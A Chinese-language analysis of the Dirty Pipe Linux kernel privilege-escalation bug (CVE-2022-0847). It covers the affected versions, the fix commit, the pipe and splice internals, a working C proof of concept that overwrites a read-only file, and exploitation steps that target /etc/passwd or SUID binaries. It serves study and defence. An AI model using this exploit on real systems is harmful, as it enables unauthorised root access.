dirty-pipe
[toc]
一、漏洞信息
1. 漏洞简述
- 漏洞名称:(dirty-pipe内核提权漏洞)
- 漏洞编号:(CVE-2022-0847)
- 漏洞类型:(设计缺陷)
- 漏洞影响:(本地提权)
- CVSS评分:(CVSS 3.0评分7.8)
2. 漏洞影响
5.8 <= linux内核 < 5.16.11/5.15.25/5.10.102
在5.16.11/5.15.25/5.10.102中被修复
3. 解决方案
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
二、漏洞复现
1. 环境搭建
linux内核版本 : 5.13.0
2. 复现过程
下载exp,用gcc编译为可执行文件,直接运行,在文件后面加上suid文件,就可以拿到一个root权限的shell
1.查找suid文件
find / -perm -4000 2>/dev/null
2.运行exp
./exploit-2 /usr/bin/umount
三、基础知识
1.管道
linux下的管道(pipe)是一种进程间的通信机制,就是在内存中创建一个共享文件,从而使得两个进程可以通过该共享文件来传递信息,管道具有单向传递数据的特点,由于该文件没有文件名,只能在亲属进程之间通信,所以也叫作'匿名管道'
进程之间通过pipe函数创建管道 int pipe(int fildes[2])
,
在i节点中有一个 pipe_inode_info
类型的指针 i_pipe
,在普通文件中 i_pipe
指针是 NULL
,在管道文件中该指针指向 pipe_inode_info
结构体,管道的本体也就是该结构体
struct inode {
....
struct pipe_inode_info *i_pipe;
....
};
// pipe_inode_info结构如下:
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs; // 构建管道的内存缓冲区
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};
管道的实质也就是一个被当做文件来管理的内存缓冲区,该缓冲区由结构体pipe_buffer管理
// pipe_buffer的结构体如下
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
在创建管道时使用的pipe和pipe2这两个系统调用最终都会调用do_pipe2()函数
// fs/pipe.c
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
return do_pipe2(fildes, flags);
}
SYSCALL_DEFINE1(pipe, int __user *, fildes)
{
return do_pipe2(fildes, 0);
}
do_pipe2()最终会调用kcalloc()函数分配一个pipe_buffer数组,默认数量是PIPE_DEF_BUFFERS(16)个
调用链:do_pipe2()
-> __do_pipe_flags()
--> create_pipe_files()
-> get_pipe_inode()
-> alloc_pipe_info()
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT);
来看一下管道的读写操作,注意以下调用链
do_pipe2()
-> __do_pipe_flags()
-> create_pipe_files()
-> alloc_file_pseudo()
f = alloc_file_pseudo(inode, pipe_mnt, "", O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)), &pipefifo_fops);
pipefifo_fops里面定义了我们对管道进行相关操作时调用的函数,当我们从管道读取数据的时候会调用pipe_read()
函数,当我们写入数据到管道中的时候会调用 pipe_write()
函数
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
};
先看一下 pipe_write()
函数的实现
1.如果管道非空,而且上一个buf没有被写满,则进入以下的if语句中,若满足 PIPE_BUF_FLAG_CAN_MERGE
标志位,则尝试向上一个buf中写入数据
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
2.当上一个buf写满后,往下一个管道写,判断如果管道没满,则正常写入
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* Allocate a slot in the ring in advance and attach an
* empty buffer. If we fault or otherwise fail to use
* it, either the reader will consume it or it'll still
* be there for the next write.
*/
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from))
break;
}
pipe_read()
函数的实现
若管道非空,则把buffer对应的page的数据读取出来
if (!pipe_empty(head, tail)) {
struct pipe_buffer *buf = &pipe->bufs[tail & mask];
size_t chars = buf->len;
size_t written;
int error;
if (chars > total_len) {
if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
chars = total_len;
}
error = pipe_buf_confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}
written = copy_page_to_iter(buf->page, buf->offset, chars, to);
if (unlikely(written < chars)) {
if (!ret)
ret = -EFAULT;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
/* Was it a packet buffer? Clean up and exit */
if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}
if (!buf->len) {
pipe_buf_release(pipe, buf);
spin_lock_irq(&pipe->rd_wait.lock);
#ifdef CONFIG_WATCH_QUEUE
if (buf->flags & PIPE_BUF_FLAG_LOSS)
pipe->note_loss = true;
#endif
tail++;
pipe->tail = tail;
spin_unlock_irq(&pipe->rd_wait.lock);
}
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
if (!pipe_empty(head, tail)) /* More to do? */
continue;
}
总的来说,我们向一个刚刚建立的管道写数据的时候,会为buf分配一个page,并设置 PIPE_BUF_FLAG_CAN_MERGE
标志位,然后写入page中,只有该标志位被设置才可以对buffer进行写入,当我们读出数据之后,可以看到该标志位并没有被改变,依旧可以写入
splice()函数
splice()函数是处理文件与管道之间的数据拷贝的函数,该函数的本质是利用管道在内核空间进行数据的拷贝,大大减小了开销
splice系统调用的调用链:SYS_splice()
-> __do_splice()
-> do_splice()
然后do_splice()函数会根据情况调用 splice_pipe_to_pipe()
/ splice_file_to_pipe()
/ do_splice_from()
函数
splice_pipe_to_pipe() 对应着把管道内的数据读到管道中
splice_file_to_pipe() 对应着把文件内的数据读到管道中
do_splice_from() 对应着把管道内的数据读取到文件中
四、漏洞分析
1.分析
我们在splice的代码中并未发现有清空pipe_buffer中的 PIPE_BUF_FLAG_CAN_MERGE
标志位的地方,当我们把管道读写完之后,所有的标志位都被保留了下来,这就意味着这些page都可以被写,所以我们可以用splice把文件中的数据读取一字节到管道中,当建立完页面映射后,因为上一个buf的标志位任然保留着,所以在下一次读写的时候就会把数据读取到文件映射的页面中,完成越权写文件的操作
2.简单利用
1.先在一个文件中写入很多A,然后以只读的方式打开
const char* path = "./tmpfile";
int fd = open(path, O_RDONLY);
2.使用pipe()函数创建一个管道
if(pipe(p)){
abort();
}
3.使用splice()函数将文件中的数据定向到管道中
nbytes = splice(fd, 0, p[1], NULL, 5, 0);
4.向管道中写入数据
nbytes_w = write(p[1], "BBBBB", 5);
5.把管道另一端的数据写到buf中,并打印出来看看是否写入
read(p[0], buf, 10);
printf("pipe: %s\n", buf);
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <string.h>
int main(int argc, char* argv[]){
printf("start poc_2");
const char* path = "./tmpfile";
int fd = open(path, O_RDONLY);
loff_t offset = 0;
ssize_t nbytes;
ssize_t nbytes_w;
int p[2];
static char buf[4096];
memset(buf, 0, 4096);
if(pipe(p)){
abort();
}
while(1){
nbytes = splice(fd, 0, p[1], NULL, 5, 0);
printf("splice %ld bytes\n", nbytes);
nbytes_w = write(p[1], "BBBBB", 5);
read(p[0], buf, 10);
printf("pipe: %s\n", buf);
if(nbytes == 0 || nbytes_w == 0){
break;
}
}
close(fd);
return 0;
}
一开始的文件中并没有B
我们运行程序后,看到以只读方式打开的文件中被写入了B
3.提权
既然可以向没有权限读取的文件中写入数据,那我们就可以向/etc/passwd中写入root的密码,或者向suid程序中写入一段shellcode来达到提权的效果
1.首先创建一个管道,然后填满管道,让管道上所有的buf都被设置了 PIPE_BUF_FLAG_CAN_MERGE
标志位
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
2.然后把管道中的数据清空,但是标志位还在
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
3.使用splice()函数将文件中的数据定向到管道中
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
4.把shellcode写入管道中,这样就可以通过管道写到文件里面了
nbytes = write(p[1], data, len);
exp
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
五、参考文献
https://xz.aliyun.com/t/11016#toc-11
https://mp.weixin.qq.com/s/fGoCM6d6r1WvoOrD-xBuQg
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
https://dirtypipe.cm4all.com/
https://www.136.la/jingpin/show-143974.html
https://blog.csdn.net/judgejames/article/details/84256340